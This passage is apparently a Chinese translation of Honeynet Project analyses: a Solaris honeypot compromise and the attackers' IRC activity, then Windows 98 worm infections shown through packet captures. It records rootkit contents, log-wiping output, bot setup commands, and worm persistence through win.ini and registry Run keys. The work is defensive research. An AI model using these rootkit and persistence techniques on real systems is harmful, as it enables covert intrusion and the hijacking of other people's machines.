200 PORT command successful.
150 Opening ASCII mode data connection for 'l0gin' (47165 bytes).
226 Transfer complete.
226 Transfer complete.
local: l0gin remote: l0gin
47378 bytes received in 7.7 seconds (6.04 Kbytes/s)
ftp> quit
U221 Goodbye.
一旦rootkit被成功下载,该工具包被解开并被安装。注意整个安装过程只执行了一个简单的脚本 setup.sh,这个脚本调用另外一个脚本 secure.sh。你也可以下载在整个Solaris rootkit。
# tar -xvf sun2.tar
x sun2, 0 bytes, 0 tape blocks
x sun2/me, 859600 bytes, 1679 tape blocks
x sun2/ls, 41708 bytes, 82 tape blocks
x sun2/netstat, 6784 bytes, 14 tape blocks
x sun2/tcpd, 19248 bytes, 38 tape blocks
x sun2/setup.sh, 1962 bytes, 4 tape blocks
x sun2/ps, 35708 bytes, 70 tape blocks
x sun2/packet, 0 bytes, 0 tape blocks
x sun2/packet/sunst, 9760 bytes, 20 tape blocks
x sun2/packet/bc, 9782 bytes, 20 tape blocks
x sun2/packet/sm, 32664 bytes, 64 tape blocks
x sun2/packet/newbc.txt, 762 bytes, 2 tape blocks
x sun2/packet/syn, 10488 bytes, 21 tape blocks
x sun2/packet/s1, 12708 bytes, 25 tape blocks
x sun2/packet/sls, 19996 bytes, 40 tape blocks
x sun2/packet/smaq, 10208 bytes, 20 tape blocks
x sun2/packet/udp.s, 10720 bytes, 21 tape blocks
x sun2/packet/bfile, 2875 bytes, 6 tape blocks
x sun2/packet/bfile2, 3036 bytes, 6 tape blocks
x sun2/packet/bfile3, 20118 bytes, 40 tape blocks
x sun2/packet/sunsmurf, 11520 bytes, 23 tape blocks
x sun2/sys222, 34572 bytes, 68 tape blocks
x sun2/m, 9288 bytes, 19 tape blocks
x sun2/l0gin, 47165 bytes, 93 tape blocks
x sun2/sec, 1139 bytes, 3 tape blocks
x sun2/pico, 222608 bytes, 435 tape blocks
x sun2/sl4, 28008 bytes, 55 tape blocks
x sun2/fix, 10360 bytes, 21 tape blocks
x sun2/bot2, 508 bytes, 1 tape blocks
x sun2/sys222.conf, 42 bytes, 1 tape blocks
x sun2/le, 21184 bytes, 42 tape blocks
x sun2/find, 6792 bytes, 14 tape blocks
x sun2/bd2, 9608 bytes, 19 tape blocks
x sun2/snif, 16412 bytes, 33 tape blocks
x sun2/secure.sh, 1555 bytes, 4 tape blocks
x sun2/log, 47165 bytes, 93 tape blocks
x sun2/check, 46444 bytes, 91 tape blocks
x sun2/zap3, 13496 bytes, 27 tape blocks
x sun2/idrun, 188 bytes, 1 tape blocks
x sun2/idsol, 15180 bytes, 30 tape blocks
x sun2/sniff-10mb, 16488 bytes, 33 tape blocks
x sun2/sniff-100mb, 16496 bytes, 33 tape blocks
# rm sun2.tar
# mv l0gin sun2
#cd sun2
#./setup.sh
hax0r w1th K1dd13
Ok This thing is complete :-)
这里rootkit安装脚本第一次清理和攻击者行为相关的日志文件信息。
- WTMP:
/var/adm/wtmp is Sun Jun 4 11:47:39 2000
/usr/adm/wtmp is Sun Jun 4 11:47:39 2000
/etc/wtmp is Sun Jun 4 11:47:39 2000
/var/log/wtmp cannot open
WTMP = /var/adm/wtmp
Removing user re at pos: 1440
Done!
- UTMP:
/var/adm/utmp is Sun Jun 4 11:47:39 2000
/usr/adm/utmp is Sun Jun 4 11:47:39 2000
/etc/utmp is Sun Jun 4 11:47:39 2000
/var/log/utmp cannot open
/var/run/utmp cannot open
UTMP = /var/adm/utmp
Removing user re at pos: 288
Done!
- LASTLOG:
/var/adm/lastlog is Sun Jun 4 11:47:39 2000
/usr/adm/lastlog is Sun Jun 4 11:47:39 2000
/etc/lastlog cannot open
/var/log/lastlog cannot open
LASTLOG = /var/adm/lastlog
User re has no wtmp record. Zeroing lastlog..
- WTMPX:
/var/adm/wtmpx is Sun Jun 4 11:47:39 2000
/usr/adm/wtmpx is Sun Jun 4 11:47:39 2000
/etc/wtmpx is Sun Jun 4 11:47:39 2000
/var/log/wtmpx cannot open
WTMPX = /var/adm/wtmpx
Done!
- UTMPX:
/var/adm/utmpx is Sun Jun 4 11:47:39 2000
/usr/adm/utmpx is Sun Jun 4 11:47:39 2000
/etc/utmpx is Sun Jun 4 11:47:39 2000
/var/log/utmpx cannot open
/var/run/utmpx cannot open
UTMPX = /var/adm/utmpx
Done!
./setup.sh: ./zap: not found
在清理完日志系统后,下一步是加固我们的系统(他们多好啊)。因为他们可以轻松的入侵,别人也可以,他们并不想让别人滥用他们的成果。
./secure.sh: rpc.ttdb=: not found
#: securing.
#: 1) changing modes on local files.
#: will add more local security later.
#: 2) remote crap like rpc.status , nlockmgr etc..
./secure.sh: usage: kill [ [ -sig ] id ... | -l ]
./secure.sh: usage: kill [ [ -sig ] id ... | -l ]
#: 3) killed statd , rpcbind , nlockmgr
#: 4) removing them so they ever start again!
5) secured.
207 ? 0:00 inetd
11467 ? 0:00 inetd
cp: cannot access /dev/.. /sun/bot2
kill these processes@!#!@#!
cp: cannot access lpq
./setup.sh: /dev/ttyt/idrun: cannot execute
下一步,一个IRC proxy开始运行,在这里比较迷惑的是随后脚本杀死了该进程,我也不太明白了。
Irc Proxy v2.6.4 GNU project (C) 1998-99
Coded by James Seter :bugs-> ([email]Pharos@refract.com[/email])
or IRC pharos on efnet
--Using conf file ./sys222.conf
--Configuration:
Daemon port......:9879
Maxusers.........:0
Default conn port:6667
Pid File.........:./pid.sys222
Vhost Default....:-SYSTEM DEFAULT-
Process Id.......:11599
Exit ./sys222{7} :Successfully went into the background.
随后做了更多的修改,包括拷贝后门程序,包括/bin/login、/bin/ls、/usr/sbin/netstat,以及/bin/ps,而这些在脚本的输出中并看不到。强烈建议你看一下setup.sh和secure.sh的源码,看到底发生了什么事,说不定一天你不得不查看已经被类似的工具控制的系统。
# kill -9 11467
# ps -u root |grep |grep inetd inetd
207 ? 0:00 inetd
# ..U/secure.sh/secure.sh
./secure.sh: rpc.ttdb=: not found
#: securing.
#: 1) changing modes on local files.
#: will add more local security later.
#: 2) remote crap like rpc.status , nlockmgr etc..
./secure.sh: usage: kill [ [ -sig ] id ... | -l ]
./secure.sh: usage: kill [ [ -sig ] id ... | -l ]
./secure.sh: usage: kill [ [ -sig ] id ... | -l ]
./secure.sh: usage: kill [ [ -sig ] id ... | -l ]
#: 3) killed statd , rpcbind , nlockmgr
#: 4) removing them so they ever start again!
5) secured.
# ppUs -u s -u U||U grep grep ttUtdbtdb
Ups: option requires an argument -- u
usage: ps [ -aAdeflcj ] [ -o format ] [ -t termlist ]
[ -u userlist ] [ -U userlist ] [ -G grouplist ]
[ -p proclist ] [ -g pgrplist ] [ -s sidlist ]
'format' is one or more of:
user ruser group rgroup uid ruid gid rgid pid ppid pgid sid
pri opri pcpu pmem vsz rss osz nice class time etime stime
f s c tty addr wchan fname comm args
# ppUs -s -UAdj | grep ttdbAdj | grep ttdb
最后,攻击者运行了IRC bot,该程序是为了保证他们能够按照自己的意愿控制该IRC频道,同时它也记录IRC频道全部的聊天记录,也正是通过他们安装的bot,我们得到了他们的所有聊天记录。
# ../me -f bot2
init: Using config file: bot2
EnergyMech 2.7.1, December 2nd, 1999
Starglider Class EnergyMech
Compiled on Jan 27 2000 07:06:04
Features: DYN, NEW, SEF
init: Unknown configuration item: "NOSEEN" (ignored)
init: Mechs added [ save2 ]
init: Warning: save2 has no userlist, running in setup mode
init: EnergyMech running...
# exit;
$ exit
当安置好bot后,黑客离开了系统,正是这个bot捕获了他们的所有对话(见下面第二部分)。如果想得到更多的关于IRC和黑客社团如何利用IRC和bot,可以参考David Brumley的<Tracking Hackers on IRC>。在以后的几周里,为了确认仍然控制着系统他们又登上系统几次。一周后,6月11日,他们再次连接过来尝试使用该系统进行拒绝服务攻击。当然,该"蜜罐"设计时已经考虑到阻塞所有使用它作为对外攻击的基地的尝试。所有使用该系统进行拒绝服务攻击的尝试都会被阻塞掉。
我们在这里所看到的是很普通的现象:黑客社团使用的工具和策略,他们根据已知的漏洞随机扫描Internet(在该案例中是rpc.ttdbserv),一旦发现,他们会很快的入侵系统并使用脚本工具安装后门,一旦控制了系统,他们会安装bot以确保他们控制着IRC频道。这里唯一不一般的是他们的bot为我们所捕获的聊天信息。在本文的下一部分我们将以他们的聊天记录分析他们的动机和心理。如果你怀疑你的系统已经被相同的方法入侵,可以参考checklist,它包括了怎样检查被入侵系统相关信息。
第二部分: IRC聊天记录
下面是他们的聊天记录,其中两个人我们暂且叫做D1ck和J4n3,他们开通的频道也暂且叫做K1dd13。你将会看到这两个人的行为,当然还有其他一些人。聊天记录我们按天分,罗列在下面。我们建议你按顺序读,这样就会明白发生的事。这里所提到的IRC频道、系统名称、IP地址都做了相应修改,所有系统的IP地址已经RFC 1918里的非公用IP替代,域名被换成"example",所有提到的信用卡号被换成"xxxx"。如果IRC频道名相同,纯属巧合。经过仔细考虑,我们没有过滤掉其中的谩骂的字眼,他们所提到的一些外语,我们也尽可能的翻译成英语。当你仔细读他们聊天记录时,你会发现他们缺乏网络技巧和知识,经常会看到他们尝试学习Unix的基本技巧,但是就是他们仍然能够入侵破坏大量的系统,这些决不是危言耸听。
Day 1, June 04
开始讨论建立一个攻击程序结构并共享用来攻击潜在目标的攻击程序。
Day 2, June 05
今天D1ck和J4n3共享攻击程序和拒绝服务攻击。注意他们吹牛已经攻破了多少网络,似乎其中一个正在教育网上搜寻Linux主机。同时他们讨论了在Linux和sparc上使用新的rootkit。
Day 3, June 06
D1ck和J4n3吹嘘那些他们已经对其进行拒绝服务攻击地系统,稍后,D1ck教给J4n3如何mount一个设备。最后讨论了sniffer(关于如何使用),似乎D1ck在拼命寻找Irix主机的攻击程序和rootkit。
Day 4, June 07
D1ck和J4n3决定对印度采取决绝服务攻击和针对bind的攻击。稍后,他们对那些激怒他们的IRC成员进行拒绝服务攻击。
Day 5, June 08
D1ck请求J4n3为他入侵三个系统。D1ck和他的密友Sp07想研究一下sniffer是怎样工作的,包括"是否需要在同一网段上运行"等问题。
Day 6, June 09
这支奇特的队伍开始忙碌起来,似乎D1ck已经入侵了40个系统。我们有理由相信:如果他们可以扫描足够多的系统,那么就会有更多的系统遭受入侵。
Day 7, June 10
平淡的一天,D1ck教一个新兵k1dd13如何使用针对sadmind的攻击程序,我们不确定D1ck是否自己会使用。
Day 8, June 11
D1ck和J4n3讨论他们拥有的系统和那些他们想对其进行拒绝服务的人们,D1ck发现了Ping of Death。
Day 9, June 12
似乎D1ck撞了大运,他发现了一个ISP并且获得了超过5000个用户帐号,现在他们不得不想如何crack这些帐号。
Day 10, June 13
Sp07加入这个团体,似乎他也不太喜欢印度。
Day 11, June 14
他们开始crack用户密码并存取用户帐号。
Day 12, June 15 Also with 罗马尼亚译文
D1ck和J4n3开始尝试在信用卡频道里搜寻信用卡号,成功的话,他们可以购买更多的域名
Day 13, June 16 Also with 罗马尼亚译文
D1ck和J4n3仍然在信用卡频道里搜寻。他们交换信用卡、分享帐号以及色情站点,最后他们把重点放在自己的Web站点。
Day 14, June 17 Also with 罗马尼亚译文
D1ck和J4n3讨论如何获取Linux主机帐号,并谈论了很多关于信用卡,然后继续构建Web站点。
我们已经回顾了这个黑客社团在14天当中的生活,当让这些并不意味着所有的黑客都是如此想和行动。我们只是关注了一些个别的特殊的团体。但是我们仍然希望通过这些信息能够给你些提示:他们的能力如何,他们或许并不是技术高手,甚至不明白他们正在使用的工具。但是,通过对很多系统的攻击,最终取得了戏剧性的结果,这些不是危言耸听。他们不关心所造成的后果有多严重,他们只关心自己达到了目标。
结论
本文的意图就是要使你明确黑客社团的行为和心理。从一开始的一台Solaris 2.6"蜜罐"遭受入侵开始,证实了一个使用普通的远程溢出攻击程序攻击存在漏洞的系统,一旦遭受入侵,系统很快就会被在黑客社团中普遍使用的工具包rootkit所控制。这些可能都很普通,但是本文的一个特点就是让你观察到黑客的思想行为,你可以看到他们所想的和实际行为以及所说的每一句话,特别是如何攻击和破坏系统,他们随机的扫描大量的系统并攻击那些在他们看来存在漏洞的系统。通过理解他们那的行为和思想,你可以更好的保护你的系统免受类似攻击。
感谢
此篇文章是Honeynet项目的工作和研究结果,Honeynet项目小组是由一些安全专业人士组成,致力于研究黑客社团使用的工具和策略、并把这些知识和经验与安全社团人士分享的组织。我们应该感谢SANS的Alan Paller,尽管并不是Honeynet项目的成员,他帮助我们实现了这个研究。
Know Your Enemy--人虫之战
这文章纯粹是在好奇的情况下产生的,我们的Honeynet的UDP端口137和TCP端口139被多次扫描,我们的网络中这种端口一天内居然被扫描5-10次,怀疑有一定原因。为了了解这些扫描的动机,我们设置了WIN98的honeypot,因为基于这些端口的系统一般上WIN系统,并做在那里等攻击者的操作,我们没有等很长时间,就有了这篇Know you Enemy系列的后续。
Windows上的honeypot
在一个月的时间内(2000/9/20-2000/10/20)我们确认在我们的网络"honeypot"遭受过524个基于NetBIOS扫描。这些扫描是基于UDP137端口(NetBIOS命名服务)的探测,有时伴随着基于TCP139端口(NetBIOS会话服务)。所有这些表明存在大量的针对特殊服务的扫描活动,某些事情正在发生,我们决定发现出了什么事。
我们的网络并没有在Internet做什么广告或者宣传,仅仅是放在那里。所有迹象表明这些我们接受到的扫描仅仅是随机扫描。但同样会威胁到你的系统的安全,由于这些扫描主要针对Windows系统,有可能主要瞄准通过DSL或Cable连接的普通家庭用户。我们不讨论间谍或主页被黑,我们在这里仅讨论一般家庭用户作为被攻击的对象。我们对这一切感到好奇:谁正在作这样的扫描?他们的意图是什么?为什么存在大量的这种扫描?协同探测的结果?是蠕虫吗?带着很多问题,我们决定去发现结果并放置了我们的Windows"honeypot",我们缺省安装了一台Windows98并且使c:盘共享,尽管一台Windows98 "honeypot"听起来并没有多大的诱惑力,但是仍然可以通过建立这样的系统来获得我们所想知道的。
在Internet上有大量的Windows98系统,而且这个数量还在快速增长。作为具有代表性的系统,该系统存在大量的安全漏洞。但是作为家庭用户并没有认识到连接到Internet的风险性,他们中的大多数还是专注地连接Internet。
这是我们的第一个基于Microsoft的"honeypot",该计划也非常简单并且希望学到一些东西。
在2000/10/31日,系统安装好,共享打开,并且连接到Internet,我们开始等待,等待时间是如此漫长。
第一条蠕虫
至少24小时后我们接待了我们的第一位访客。IP为216.191.92.10的系统(host-010.hsf.on.ca)扫描了我们的网络搜寻Windows系统,他发现了我们的"honeypot"并且开始查询它。一开始他尝试获得系统名并确定共享是否打开。一旦他发现共享打开,开始在我们的系统上探测某种二进制文件。他的目标是确定在我们的"honeypot"上是否安装了某种蠕虫,如果没有,就会安装它。在这里,这种蠕虫并没有被安装,这个蠕虫被确定为"Win32.Bymer Worm"。此蠕虫的目的在于利用占领的主机的CPU资源来帮助某人赢得distributed.net竞赛,distributed.net是一个提供利用分布式计算机空闲资源进行各种挑战(如 crack RC5-64)奖项的组织。如果赢得挑战将获得一些奖金,在这里,我们的访客通过安装蠕虫把我们当成"志愿军"来参加这个项目。
某个人([email]bymer@inec.kiev.ua[/email]),制作了这个可复制的蠕虫,它可以在不被怀疑的有漏洞的Windows系统上安装distributed.net客户端。一旦被安装且被执行,蠕虫就可以利用你的系统CPU资源帮助安装的人赢得奖金。期间蠕虫也会探测别的可能被入侵的系统,它的目标是获取更多的CPU资源,处理速度会随着入侵系统的增多而呈指数增长。让我们来看一下通过网络捕获的数据包(在这里我们使用snort)。为了更方便的分析NetBIOS协议,你需要一些协议分析器如Ethereal。这个过程通过sniffer追踪如下,IP为172.16.1.105的是我们"honeypot"的地址。
在一开始的时候,蠕虫在我们的系统上检查dnetc.ini,这是distributed.net客户端的标准配置文件,该配置文件告诉主服务器谁的CPU资源引该被信任。在这里我们通过跟踪远程系统(NetBIOS名称GHUNT,帐号GHUNT,域名HSFOPROV)的记录发现他拷贝这个文件到我们"honeypot"中。
11/01-15:29:18.580895 216.191.92.10:2900 -> 172.16.1.105:139
TCP TTL:112 TOS:0x0 ID:50235 DF
*****PA* Seq: 0x12930C6 Ack: 0x66B7068 Win: 0x2185
00 00 00 5B FF 53 4D 42 2D 00 00 00 00 00 01 00 ...[.SMB-.......
00 00 00 00 00 00 00 00 00 00 00 00 00 C8 57 1C ..............W.
00 00 82 D1 0F FF 00 00 00 07 00 91 00 16 00 20 ...............
00 DC 1C 00 3A 10 00 00 00 00 00 00 00 00 00 00 ....:...........
00 00 00 1A 00 5C 57 49 4E 44 4F 57 53 5C 53 59 .....WINDOWSSY
53 54 45 4D 5C 64 6E 65 74 63 2E 69 6E 69 00 STEMdnetc.ini.
通过下面信息我们可以看到配置文件dentc.in的确切传输配置,注意[email]bymer@inec.kiev.ua[/email],他就是接受CPU资源的人,很可能也是该蠕虫的作者。
11/01-15:29:18.729337 216.191.92.10:2900 -> 172.16.1.105:139
TCP TTL:112 TOS:0x0 ID:50747 DF
*****PA* Seq: 0x1293125 Ack: 0x66B70AD Win: 0x2140
00 00 01 11 FF 53 4D 42 0B 00 00 00 00 00 01 00 .....SMB........
00 00 00 00 00 00 00 00 00 00 00 00 00 C8 57 1C ..............W.
00 00 02 D2 05 00 00 E1 00 00 00 00 00 E1 00 E4 ................
00 01 E1 00 5B 6D 69 73 63 5D 20 0D 0A 70 72 6F ....[misc] ..pro
6A 65 63 74 2D 70 72 69 6F 72 69 74 79 3D 4F 47 ject-priority=OG
52 2C 52 43 35 2C 43 53 43 2C 44 45 53 0D 0A 0D R,RC5,CSC,DES...
0A 5B 70 61 72 61 6D 65 74 65 72 73 5D 0D 0A 69 .[parameters]..i
64 3D 62 79 6D 65 72 40 69 6E 65 63 2E 6B 69 65 d=bymer@inec.kie
76 2E 75 61 0D 0A 0D 0A 5B 72 63 35 5D 0D 0A 66 v.ua....[rc5]..f
65 74 63 68 2D 77 6F 72 6B 75 6E 69 74 2D 74 68 etch-workunit-th
72 65 73 68 6F 6C 64 3D 36 34 0D 0A 72 61 6E 64 reshold=64..rand
6F 6D 70 72 65 66 69 78 3D 32 31 37 0D 0A 0D 0A omprefix=217....
5B 6F 67 72 5D 0D 0A 66 65 74 63 68 2D 77 6F 72 [ogr]..fetch-wor
6B 75 6E 69 74 2D 74 68 72 65 73 68 6F 6C 64 3D kunit-threshold=
31 36 0D 0A 0D 0A 5B 74 72 69 67 67 65 72 73 5D 16....[triggers]
0D 0A 72 65 73 74 61 72 74 2D 6F 6E 2D 63 6F 6E ..restart-on-con
66 69 67 2D 66 69 6C 65 2D 63 68 61 6E 67 65 3D fig-file-change=
79 65 73 0D 0A yes..
下一个要传的软件是distributed.net客户端-dnetc.exe。一个可执行文件,原始版本是没有病毒。我们为了确认这个文件是否被改动过,于是我们取了在"honeypot"中的改文件的MD5签名,之后我们从distributed.net上下载了该客户端并同样用MD5进行签名,结果表明一样(d0fd1f93913af70178bff1a1953f5f7d),表明该客户端并没有做过改动,仅仅是为了获取你的CPU资源进行竞赛,但是所有这一切都没有经过我们的同意。
11/01-15:34:09.044822 216.191.92.10:2900 -> 172.16.1.105:139
TCP TTL:112 TOS:0x0 ID:33084 DF
*****PA* Seq: 0x129341A Ack: 0x66B71C0 Win: 0x202D
00 00 00 5B FF 53 4D 42 2D 00 00 00 00 00 01 00 ...[.SMB-.......
00 00 00 00 00 00 00 00 00 00 00 00 00 C8 57 1C ..............W.
00 00 04 26 0F FF 00 00 00 07 00 91 00 16 00 20 ...&...........
00 FE 1D 00 3A 10 00 00 00 00 00 00 00 00 00 00 ....:...........
00 00 00 1A 00 5C 57 49 4E 44 4F 57 53 5C 53 59 .....WINDOWSSY
53 54 45 4D 5C 64 6E 65 74 63 2E 65 78 65 00 STEMdnetc.exe.
接下来传过来真正的病毒程序msi216.exe,这是一个可以进行自我复制的病毒随机探测寻找有漏洞的系统并考本自身,这很可能就是导致我们接受大量扫描的根源。
11/01-15:37:23.083643 216.191.92.10:2900 -> 172.16.1.105:139
TCP TTL:112 TOS:0x0 ID:40765 DF
*****PA* Seq: 0x12C146A Ack: 0x66C248B Win: 0x20B2
00 00 00 5C FF 53 4D 42 2D 00 00 00 00 00 01 00 ....SMB-.......
00 00 00 00 00 00 00 00 00 00 00 00 00 C8 57 1C ..............W.
00 00 02 F3 0F FF 00 00 00 07 00 91 00 16 00 20 ...............
00 C0 1E 00 3A 10 00 00 00 00 00 00 00 00 00 00 ....:...........
00 00 00 1B 00 5C 57 49 4E 44 4F 57 53 5C 53 59 .....WINDOWSSY
53 54 45 4D 5C 6D 73 69 32 31 36 2E 65 78 65 00 STEMmsi216.exe.
最后,蠕虫上传了新的win.ini文件,这么做的原因是可以在系统重新启动的时候被执行,因为很难在远程Win98系统上直接执行程序,所以蠕虫修改c:windowswin.ini文件以使自己被自动加载。这个新的win.ini被上传到我们的系统。
11/01-15:38:55.352810 216.191.92.10:2900 -> 172.16.1.105:139
TCP TTL:112 TOS:0x0 ID:1342 DF
******A* Seq: 0x12C6F55 Ack: 0x66C95FC Win: 0x1FBF
00 00 0B 68 FF 53 4D 42 1D 00 00 00 00 00 01 00 ...h.SMB........
00 00 00 00 00 00 00 00 00 00 00 00 00 C8 57 1C ..............W.
00 00 02 F9 0C 0D 00 61 19 00 00 00 00 00 00 00 .......a........
00 00 00 00 00 00 00 00 00 2C 0B 3C 00 2D 0B 00 .........,.<.-..
5B 77 69 6E 64 6F 77 73 5D 0D 0A 6C 6F 61 64 3D [windows]..load=
63 3A 5C 77 69 6E 64 6F 77 73 5C 73 79 73 74 65 c:windowssyste
6D 5C 6D 73 69 32 31 36 2E 65 78 65 0D 0A 72 75 mmsi216.exe..ru
6E 3D 0D 0A 4E 75 6C 6C 50 6F 72 74 3D 4E 6F 6E n=..NullPort=Non
65 0D 0A 0D 0A 5B 44 65 73 6B 74 6F 70 5D 0D 0A e....[Desktop]..
57 61 6C 6C 70 61 70 65 72 3D 28 4E 6F 6E 65 29 Wallpaper=(None)
0D 0A 54 69 6C 65 57 61 6C 6C 70 61 70 65 72 3D ..TileWallpaper=
31 0D 0A 57 61 6C 6C 70 61 70 65 72 53 74 79 6C 1..WallpaperStyl
65 3D 30 0D 0A 0D 0A 5B 69 6E 74 6C 5D 0D 0A 69 e=0....[intl]..i
到这里为止,蠕虫已经完成入侵并且我们的"honeypot"已经被感染。所有的一切就是我们重新启动系统蠕虫就会生效,一旦它运行,就会发生一些事:
Distributed.net客户端启动,在竞赛中使用CPU资源。
蠕虫开始寻找有漏洞的系统并复制自己,这也是为什么导致UDP137和TCP139扫描。
蠕虫在注册表中添加如下键值。
HKEY_LOCAL_MACHINESoftwareMicrosoftWindowsCurrentVersionRunBymer.scanner HKEY_LOCAL_MACHINESoftwareMicrosoftWindowsCurrentVersionRunServicesBymer.scanner
你是否想着等着系统重启来执行程序不值得信赖,可是要知道目标是Windows桌面系统,你多长时间重启一次你的Windows?
第二条蠕虫
繁忙的一周,第二天我们的第二条蠕虫来了。这次是第一次的变种,获取你的CPU资源用来参加distributed.net竞赛,不同的是,这一次所有文件合为一个可执行文件wininit.exe,缺省安装已经有一个安装在c:windowswininit.exe,之所以叫这个名字是为了隐藏自己,即使有人发现这个二进制文件也会想到可能是一个系统文件而不是一个蠕虫。这在黑客社区是非常常见的策略。一旦执行,这条蠕虫会象第一条那样。下面我们可以看到我们的"honeypot"被第二条蠕虫感染,远程系统NetBIOS名是WINDOW,帐号WINDOW,域名LVCW。
11/02-21:41:17.287743 216.234.204.69:2021 -> 172.16.1.105:139
TCP TTL:113 TOS:0x0 ID:38619 DF
*****PA* Seq: 0x21CC0AC Ack: 0xCE6736B Win: 0x2185
00 00 00 5D FF 53 4D 42 2D 00 00 00 00 00 01 00 ...].SMB-.......
00 00 00 00 00 00 00 00 00 00 00 00 00 D0 4F 1F ..............O.
00 00 84 EE 0F FF 00 00 00 07 00 91 00 16 00 20 ...............
00 20 BB 01 3A 10 00 00 00 00 00 00 00 00 00 00 . ..:...........
00 00 00 1C 00 5C 57 49 4E 44 4F 57 53 5C 53 59 .....WINDOWSSY
53 54 45 4D 5C 77 69 6E 69 6E 69 74 2E 65 78 65 STEMwininit.exe
00
一旦蠕虫被安装,远程系统就会修改win.ini以确保在系统重启以后能够运行,在这里我们注意到它已经被加入c:windowswin.ini,以前的那个程序仍然在启动时执行。
11/02-21:41:48.538643 216.234.204.69:2021 -> 172.16.1.105:139
TCP TTL:113 TOS:0x0 ID:21212 DF
******A* Seq: 0x22021C9 Ack: 0xCE68EC7 Win: 0x1FA3
00 00 0B 68 FF 53 4D 42 1D 00 00 00 00 00 01 00 ...h.SMB........
00 00 00 00 00 00 00 00 00 00 00 00 00 D0 4F 1F ..............O.
00 00 84 F4 0C 0F 00 7F 19 00 00 00 00 00 00 00 ................
00 00 00 00 00 00 00 00 00 2C 0B 3C 00 2D 0B 00 .........,.<.-..
5B 77 69 6E 64 6F 77 73 5D 0D 0A 6C 6F 61 64 3D [windows]..load=
63 3A 5C 77 69 6E 64 6F 77 73 5C 73 79 73 74 65 c:windowssyste
6D 5C 77 69 6E 69 6E 69 74 2E 65 78 65 20 63 3A mwininit.exe c:
5C 77 69 6E 64 6F 77 73 5C 73 79 73 74 65 6D 5C windowssystem
6D 73 69 32 31 36 2E 65 78 65 0D 0A 72 75 6E 3D msi216.exe..run=
0D 0A 4E 75 6C 6C 50 6F 72 74 3D 4E 6F 6E 65 0D ..NullPort=None.
0A 0D 0A 5B 44 65 73 6B 74 6F 70 5D 0D 0A 57 61 ...[Desktop]..Wa
重启之后,象上一次一样,第二条蠕虫程序以同样的进程会启动。给我们的感觉对方似乎并没有象有些邪恶的黑客那样,倒却象看热闹的。系统的拥有者并没有意识倒蠕虫已经运行在系统上,没有意识倒自己的系统正在被利用在探测别的主机,他们的系统正连接Internet,作自己的事。每一个通过拨号连接Internet的主机都面临同样的攻击。这里正在发起一场战争关于自动蠕虫探测和威胁那些主机,就像我们的"honeypot"。
后续发展
又过了一天,同样的蠕虫又探测我们的"honeypot",首先,他们决定是否共享被打开,接着,它发现同样的蠕虫已经被安装,之后它离我们而去。这天的晚些时候,另外一个系统探测是否msi216.exe已经被安装。
11/03-04:42:11.596636 210.111.145.180:2341 -> 172.16.1.105:139
TCP TTL:115 TOS:0x0 ID:12574 DF
*****PA* Seq: 0x2345C04 Ack: 0xE65CC94 Win: 0x2171
00 00 00 5D FF 53 4D 42 2D 00 00 00 00 00 01 00 ...].SMB-.......
00 00 00 00 00 00 00 00 00 00 00 00 00 D8 B5 1D ................
00 00 81 3E 0F FF 00 00 00 07 00 91 00 16 00 20 ...>...........
00 3A 26 02 3A 10 00 00 00 00 00 00 00 00 00 00 .:&.:...........
00 00 00 1C 00 5C 57 49 4E 44 4F 57 53 5C 53 59 .....WINDOWSSY
53 54 45 4D 5C 77 69 6E 69 6E 69 74 2E 65 78 65 STEMwininit.exe
00 .
远程系统:NetBIOS名 MATTHEW,帐号 MPYLE,域名 MPYLE
11/03-16:39:38.723572 216.23.6.24:3946 -> 172.16.1.105:139
TCP TTL:113 TOS:0x0 ID:3309 DF
*****PA* Seq: 0x1A7105F Ack: 0x10F8C0F2 Win: 0x2159
00 00 00 5B FF 53 4D 42 2D 00 00 00 00 00 01 00 ...[.SMB-.......
00 00 00 00 00 00 00 00 00 00 00 00 00 E0 AD 20 ...............
00 00 81 D9 0F FF 00 00 00 07 00 91 00 16 00 20 ...............
00 14 CE 02 3A 10 00 00 00 00 00 00 00 00 00 00 ....:...........
00 00 00 1A 00 5C 57 49 4E 44 4F 57 53 5C 53 59 .....WINDOWSSY
53 54 45 4D 5C 64 6E 65 74 63 2E 69 6E 69 00 STEMdnetc.ini.
在接下来的一天,11月4号,从IP为207.224.254.206(NetBIOS名SOCCERDOG,帐号SCOTT,域名RONS)开始对我们的"honeypot"进行探测判断是否dnetc.ini已经被安装,当看到已经安装过,他随后离去。在随后三天之内我们的"honeypot"一共接收到5次探测。在那天的晚些时候,我们的"honeypot"开始尝试通过http连接到bymer.boom.ru。
这可能是蠕虫在尝试进行连接主服务器进行更新。Bymer.boom.ru系统像是某一时间的这条蠕虫的主控制器。但是域名bymer.boom.ru现在被解析成一个RFC 1918里IP地址192.168.0.1。这些现象好像显示这个域的管理员在停止这条蠕虫,我们所不确定是一条蠕虫的运行有时不需要重启。使用Windows的一个缺点就是可用信息太少,没有什么日志。下面我们看到"honeypot"初始化连接bymer.boom.ru,很可能就是它的主服务器。
11/04-23:56:38.855453 172.16.1.105:1027 -> 192.168.0.1:80
TCP TTL:127 TOS:0x0 ID:65300 DF
**S***** Seq: 0x17AF8D9A Ack: 0x0 Win: 0x2000
TCP Options => MSS: 1460 NOP NOP SackOK
紧接着,dnetc.exe客户端连接到distributed.net服务器并且开始数据传输,这应该是distributed.net的客户端而不是蠕虫的复制进程。接着完成蠕虫的最终愿望,耗CPU资源并上传结果到distributed.net。
11/04-23:56:40.286898 172.16.1.105:1029 -> 204.152.186.139:2064
TCP TTL:127 TOS:0x0 ID:1301 DF
*****PA* Seq: 0x17AF8F47 Ack: 0xBE445ED3 Win: 0x2238
AE 23 E2 77 F6 42 91 51 3E 61 3F EE 86 7F EE 8B .#.w.B.Q>a?.....
CE 9E 9D 28 16 BD 4B C5 5E DB FA 62 A6 FA A8 FF ...(..K.^..b....
EF 19 57 9C 37 38 06 39 7F 56 B4 D6 C7 75 63 73 ..W.78.9.V...ucs
0F 94 12 10 57 B2 C0 AD 9F D1 6F 4A E7 F0 1D E7 ....W.....oJ....
30 0E CC 84 78 2D 7B 21 C0 4C 29 BE 08 6A D8 5B 0...x-{!.L)..j.[
50 89 86 F8 98 A8 35 95 E0 C6 E4 32 28 E5 92 CF P.....5....2(...
71 04 41 6C B9 22 F0 09 01 41 9E A6 49 60 4D 43 q.Al."...A..I`MC
91 7E FB E0 D9 9D AA 7D 21 BC 59 1A 69 DB 07 B7 .~.....}!.Y.i...
B1 F9 B6 54 FA 18 64 F1 42 37 13 8E 8A 55 C2 2B ...T..d.B7...U.+
